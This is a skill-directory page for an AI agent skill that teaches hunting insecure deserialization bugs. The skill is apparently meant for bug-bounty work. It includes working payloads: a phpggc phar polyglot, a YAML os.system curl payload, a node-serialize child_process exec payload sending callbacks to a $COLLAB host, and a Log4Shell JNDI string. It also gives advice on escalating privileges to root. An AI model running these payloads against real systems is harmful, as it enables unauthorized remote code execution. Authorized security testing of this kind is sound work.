elementalsouls/claude-bughunter/hunt-deserialization
Claude Code and agent skill by elementalsouls/claude-bughunter
- community
Checking that the SKILL.md file is still in the repository.
Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.
Install
npx vskill@latest install elementalsouls/claude-bughunter/hunt-deserializationSKILL.md
The same SKILL.md was published earlier as elementalsouls/claude-bughunter/hunt-deserialization.
HUNT-DESERIALIZATION — Insecure Deserialization
Crown Jewel Targets
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
Highest-value chains:
- Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- PHP Object Injection —
__wakeup/__destructmagic methods → file write / RCE - Python pickle —
pickle.loads(attacker_data)→__reduce__→os.system('id') - .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
- Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
- JNDI injection — Log4Shell pattern:
${jndi:ldap://attacker/a}→ class load → RCE
Attack Surface Signals
Detection Patterns
Header / Cookie Signals
Step-by-Step Hunting Methodology
Phase 1 — Java Deserialization (ysoserial)
Phase 2 — PHP Object Injection
Phase 3 — Python Pickle
Phase 3b — PHP phar://, Python YAML, Node deserialization
- PHP phar:// (no `unserialize()` call) — any filesystem function (
file_exists/fopen/getimagesize) on aphar://path deserializes the archive metadata -> object injection with zerounserialize()in code.
``bash phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot # then reach phar://uploads/poly.jpg/x via any fs call ``
- Python `yaml.load()` (CVE-2017-18342) — pre-5.1 default-unsafe:
!!python/object/apply:os.system ['curl http://$COLLAB/yaml']
- Node `node-serialize` (CVE-2017-5941) — IIFE marker in any field passed to
unserialize():
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}
Phase 4 — .NET ViewState
Phase 5 — Log4Shell / JNDI
Phase 6 — Ruby Marshal
Chain Table
| Deserialization signal | Chain to | Impact | |
|---|---|---|---|
| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution | |
| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root | |
| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC | |
| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
Automation
Validation
✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed ✅ Command output in response: full RCE confirmed
Severity: Almost always Critical — RCE with server process privileges.
Security
- Security scanPassed, 100 of 100Pattern checks on the skill's files.
- Model reviewNot runA model review is scheduled for the next rescan.
Quality evaluation
- Task evaluationNot runNo evaluation yet. Run one in Skill Studio.
Source
- SKILL.md in the repositoryCheckingskills/hunt-deserialization/SKILL.md
Popularity
- Repository stars
- 2,923
- Repository forks
- 449
- 7-day trend score
- 40
Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.
Works with
Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.
- Claude Code
- Cursor
- GitHub Copilot
- Windsurf
- Codex
- Gemini CLI
- Cline
- Amp
- Roo Code
- Goose
- Continue
- Kilo Code
- Junie
- Trae
- OpenHands
- Qwen Code
- AI Agent
- Tabnine Chat
- Sourcegraph Cody
- Amazon Q
- Firebase Genkit
- Sweep
- Devin
- Phind
- Mentat
- Claude Desktop
- Aider
- GPT Pilot
- Plandex
- bolt.new
- v0
- Replit Agent
- Anse
- TypingMind
- BetterChatGPT
- LibreChat
- Warp AI
- Pieces
- Fig AI
Embed badge
[](https://verified-skill.com/skills/elementalsouls/claude-bughunter/hunt-deserialization)